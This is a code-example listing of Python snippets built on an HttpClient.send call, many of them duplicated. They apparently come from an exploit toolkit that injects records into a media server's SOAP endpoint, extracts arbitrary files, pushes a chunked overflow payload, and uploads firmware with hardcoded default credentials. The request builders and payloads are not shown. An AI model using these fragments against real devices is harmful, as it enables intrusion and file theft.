Example #1
0
 def delete_overflow(self):
     cls=self.__class__
     client=HttpClient()
     URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
     
     request=self.build_delete_objects_overflow()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     
     request=self.build_delete_details_overflow()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
Example #2
0
 def delete_overflow(self):
     cls=self.__class__
     client=HttpClient()
     URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
     
     request=self.build_delete_objects_overflow()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     
     request=self.build_delete_details_overflow()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
Example #3
0
 def inject_album_art(self):
     cls=self.__class__
     client=HttpClient()
     URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
     self.logger.LOG_DEBUG(URL)
     
     request=self.build_delete_injection()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     
     if self.requested_file:
         request=self.build_insert_injection()
         client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
Example #4
0
 def inject_album_art(self):
     cls=self.__class__
     client=HttpClient()
     URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
     self.logger.LOG_DEBUG(URL)
     
     request=self.build_delete_injection()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     
     if self.requested_file:
         request=self.build_insert_injection()
         client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
Example #5
0
    def browse_overflow(self):
        self.logger.LOG_DEBUG("Browsing overflow.")
        cls=self.__class__
        client=HttpClient()
        URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
        request=""
        dom=parse("./soaprequest_browse.xml")
        for node in dom.getElementsByTagName("ObjectID"):
            for node in node.childNodes:
                if node.nodeType==node.TEXT_NODE and node.data == cls.OVERFLOW_TAG:
                    node.data="PWNED"
                    break
        request=dom.toxml()

        client.send(URL,post_data=request,headers=cls.BROWSE_SOAP_HEADERS,get_resp=False)
Example #6
0
    def browse_overflow(self):
        self.logger.LOG_DEBUG("Browsing overflow.")
        cls=self.__class__
        client=HttpClient()
        URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
        request=""
        dom=parse("./soaprequest_browse.xml")
        for node in dom.getElementsByTagName("ObjectID"):
            for node in node.childNodes:
                if node.nodeType==node.TEXT_NODE and node.data == cls.OVERFLOW_TAG:
                    node.data="PWNED"
                    break
        request=dom.toxml()

        client.send(URL,post_data=request,headers=cls.BROWSE_SOAP_HEADERS,get_resp=False)
Example #7
0
def albumart_extract(host, path, port=8200, outfile=None, logger=None):
    if not logger:
        logger = Logging
    logger.LOG_DEBUG("Got outfile : %s" % outfile)
    logger.LOG_DEBUG("Removing old album art record.")
    request_object = SoapSetBookmarkClearAlbumArt(host, logger=logger)
    resp = request_object.send_request()
    logger.LOG_DEBUG("response: %s" % str(resp))

    request_object = SoapSetBookmarkAlbumArtFileExtract(host,
                                                        path,
                                                        logger=logger)
    resp = request_object.send_request()
    logger.LOG_DEBUG("response: %s" % str(resp))

    client = HttpClient()
    url = request_object.extraction_url
    resp = client.send(url)
    logger.LOG_INFO("Got response. %d bytes." % len(resp))

    if outfile:
        logger.LOG_INFO("Writing response to %s." % outfile)
        open(outfile, "wb").write(resp)

    return resp
Example #8
0
    def send_request(self):
        request = self.request_xml
        cls = self.__class__
        url = "http://%s:%s%s" % (self.target_ip, self.port, cls.PATH)
        client = HttpClient()

        resp = client.send(url, post_data=request, headers=cls.SOAP_HEADERS)
        return resp
Example #9
0
    def send_request(self):
        request=self.request_xml
        cls=self.__class__
        url="http://%s:%s%s" % (self.target_ip,self.port,cls.PATH)
        client=HttpClient()

        resp=client.send(url,post_data=request,headers=cls.SOAP_HEADERS)
        return resp
Example #10
0
    def send_request(self, request=None):
        logger = self.logger
        if not request:
            logger.LOG_DEBUG("Request was none. Setting to self.request_xml")
            request = self.request_xml
        else:
            logger.LOG_DEBUG("Using request passed as parameter.")

        cls = self.__class__
        url = "http://%s:%s%s" % (self.target_ip, self.port, cls.PATH)
        client = HttpClient()
        #logger.LOG_DEBUG("Sending SOAP request:\n%s" % request)

        resp = client.send(url, post_data=request, headers=cls.SOAP_HEADERS)
        return resp
Example #11
0
    def send_request(self,request=None):
        logger=self.logger
        if not request:
            logger.LOG_DEBUG("Request was none. Setting to self.request_xml")
            request=self.request_xml
        else:
            logger.LOG_DEBUG("Using request passed as parameter.")
            
        cls=self.__class__
        url="http://%s:%s%s" % (self.target_ip,self.port,cls.PATH)
        client=HttpClient()
        #logger.LOG_DEBUG("Sending SOAP request:\n%s" % request)

        resp=client.send(url,post_data=request,headers=cls.SOAP_HEADERS)
        return resp
Example #12
0
 def inject_overflow(self):
     cls=self.__class__
     client=HttpClient()
     URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
     overflow_string=str(self.overflow)
     
     self.delete_overflow()
     
     parts=self.string_chunks(overflow_string,256)
     request=self.build_insert_details_overflow(parts[0])
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     
     for part in parts[1:]:
         request=self.build_append_injection(part)
         client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     request=self.build_insert_objects_overflow()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
Example #13
0
 def inject_overflow(self):
     cls=self.__class__
     client=HttpClient()
     URL="http://%s:%s%s" % (self.host,self.port,"/ctl/ContentDir")
     overflow_string=str(self.overflow)
     
     self.delete_overflow()
     
     parts=self.string_chunks(overflow_string,256)
     request=self.build_insert_details_overflow(parts[0])
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     
     for part in parts[1:]:
         request=self.build_append_injection(part)
         client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
     request=self.build_insert_objects_overflow()
     client.send(URL,post_data=request,headers=cls.SEARCH_SOAP_HEADERS)
Example #14
0
def send_fw(url,fw_file):
    
    logger=Logging(max_level=Logging.DEBUG)
    logger.LOG_INFO("Sending %s" % fw_file)
    logger.LOG_INFO("to %s" % url)

    fw_file_basename=os.path.basename(fw_file)
    
    logger.LOG_INFO("Creating headers.")
    headers={"Accept":
    "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}
    headers["Accept-Language"]="en-US,en;q=0.5"
    headers["Accept-Encoding"]="gzip, deflate"
    headers["Referer"]="http://192.168.127.141/UPG_upgrade.htm"

    #admin:password
    headers["Authorization"]="Basic YWRtaW46cGFzc3dvcmQ="
    headers["Connection"]="keep-alive"

    logger.LOG_INFO("Creating post data")
    
    mf=MultipartForm()
    mf.add_field("buttonHit","Upgrade")
    mf.add_field("buttonValue","Upload")
    mf.add_field("IS_check_upgrade","0")
    mf.add_field("ver_check_enable","1")
    mf.add_file("mtenFWUpload",fw_file)
    mf.add_field("upfile",fw_file_basename)
    mf.add_field("Upgrade","Upload")
    mf.add_field("progress","")
    post_data=str(mf)
    headers["Content-Length"]=("%s" % len(post_data))
    headers["Content-Type"]=mf.get_content_type()
    client=HttpClient()
    logger.LOG_INFO("Sending request.")
    resp=client.send(url,headers=headers,post_data=post_data)
    
    return resp
Example #15
0
def albumart_extract(host,path,port=8200,outfile=None,logger=None):
    if not logger:
        logger=Logging
    # logger.LOG_DEBUG("Got outfile : %s" % outfile)
    logger.LOG_DEBUG("Removing old album art record.")
    request_object=SoapSetBookmarkClearAlbumArt(host,logger=logger)
    resp=request_object.send_request()
    # logger.LOG_DEBUG("response: %s" % str(resp))
    
    request_object=SoapSetBookmarkAlbumArtFileExtract(host,path,logger=logger)
    resp=request_object.send_request()
    # logger.LOG_DEBUG("response: %s" % str(resp))
    
    client=HttpClient()
    url=request_object.extraction_url
    resp=client.send(url)
    logger.LOG_INFO("Got response. %d bytes." % len(resp))
    
    if outfile:
        logger.LOG_INFO("Writing response to %s." % outfile)
        open(outfile,"wb").write(resp)

    return resp